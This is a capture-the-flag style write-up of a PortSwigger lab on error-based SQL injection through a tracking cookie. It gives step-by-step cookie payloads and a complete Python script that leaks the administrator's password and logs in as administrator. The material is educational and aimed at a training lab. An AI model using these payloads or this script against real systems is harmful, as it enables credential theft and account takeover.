Shubham Ranpise

Back

SQLi Lab 13

SQL injection for leaking administrator password via tracking cookie

portswigger-labs content

Visible error-based SQL injection#

This lab demonstrates a visible error-based SQL injection attack. The application uses a TrackingId cookie for analytics, and the submitted value is included in a SQL query. While the results of the query are not returned directly, verbose database error messages can be leveraged to extract sensitive data.

By carefully manipulating the cookie value, we can leak the administrator username and password from the users table. The attack uses CAST to convert subquery results to integers and isolates a single row to trigger an informative error, revealing the database content one piece at a time.

How Exploit Works#

  • Intercept a GET / request containing the TrackingId cookie.
  • Append a single quote to the cookie to generate a SQL error: TrackingId=ogAZZfxtOKUELbuJ'
  • Add comment characters to ignore the rest of the query: TrackingId=ogAZZfxtOKUELbuJ'--
  • Include a CAST operation to craft a valid subquery: TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT 1) AS int)--
  • Adapt the query to retrieve the username: TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
  • The resulting database error reveals the first username (administrator).
  • Modify the query to extract the administrator password: TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
  • Use the leaked password to log in as the administrator and complete the lab.

Usage#

python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmd

Exploit#

exploit.py
import requests
import sys
import urllib3
import re
from bs4 import BeautifulSoup

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Burp Suite proxy (optional)
proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

def check_burp():
    """Check if Burp Suite proxy is running."""
    try:
        requests.get("http://127.0.0.1:8080", timeout=3)
    except requests.exceptions.RequestException:
        print("[-] Burp Suite is not running. Please start it and try again.")
        sys.exit(1)

def extract_value(url, column):
    """
    Extracts username or password from error-based SQLi.
    Uses regex to cleanly capture leaked values from error message.
    """
    payload = f"' AND 1=CAST((SELECT {column} FROM users LIMIT 1) AS int)--"
    cookies = {"TrackingId": payload, "session": "dummy"}
    r = requests.get(url, cookies=cookies, verify=False, proxies=proxies)

    match = re.search(r'invalid input syntax for type integer: "([^"]+)"', r.text)
    if match:
        return match.group(1)  # only the actual leaked value
    return None

def login(url, username, password):
    """Log in using CSRF token and check if lab solved."""
    login_url = url.rstrip("/") + "/login"
    session = requests.Session()

    # Step 1: Get CSRF token
    res = session.get(login_url, verify=False, proxies=proxies)
    res.raise_for_status()
    soup = BeautifulSoup(res.text, "html.parser")
    csrf_token = soup.find("input", {"name": "csrf"})["value"]

    # Step 2: Submit login
    data = {
        "csrf": csrf_token,
        "username": username,
        "password": password
    }
    res = session.post(login_url, data=data, verify=False, proxies=proxies)
    res.raise_for_status()

    if "Log out" in res.text:
        print(f"[+] Logged in as {username}. Checking if lab is solved...")
        base_res = session.get(url, verify=False, proxies=proxies)
        if "Congratulations" in base_res.text:
            print("[+] Lab solved 🎉")
            return True
        else:
            print("[-] Logged in but lab not solved.")
    else:
        print("[-] Login failed.")
    return False

def main():
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <url>")
        print(f"Example: python {sys.argv[0]} https://example.com")
        sys.exit(1)

    url = sys.argv[1].strip()
    check_burp()

    print("[*] Extracting administrator username...")
    username = extract_value(url, "username")
    if not username:
        print("[-] Failed to extract username")
        sys.exit(1)
    print(f"[+] Found username: {username}")

    print("[*] Extracting administrator password...")
    password = extract_value(url, "password")
    if not password:
        print("[-] Failed to extract password")
        sys.exit(1)
    print(f"[+] Found password: {password}")

    print("[*] Logging in...")
    login(url, username, password)

if __name__ == "__main__":
    main()
python

See more portswigger-labs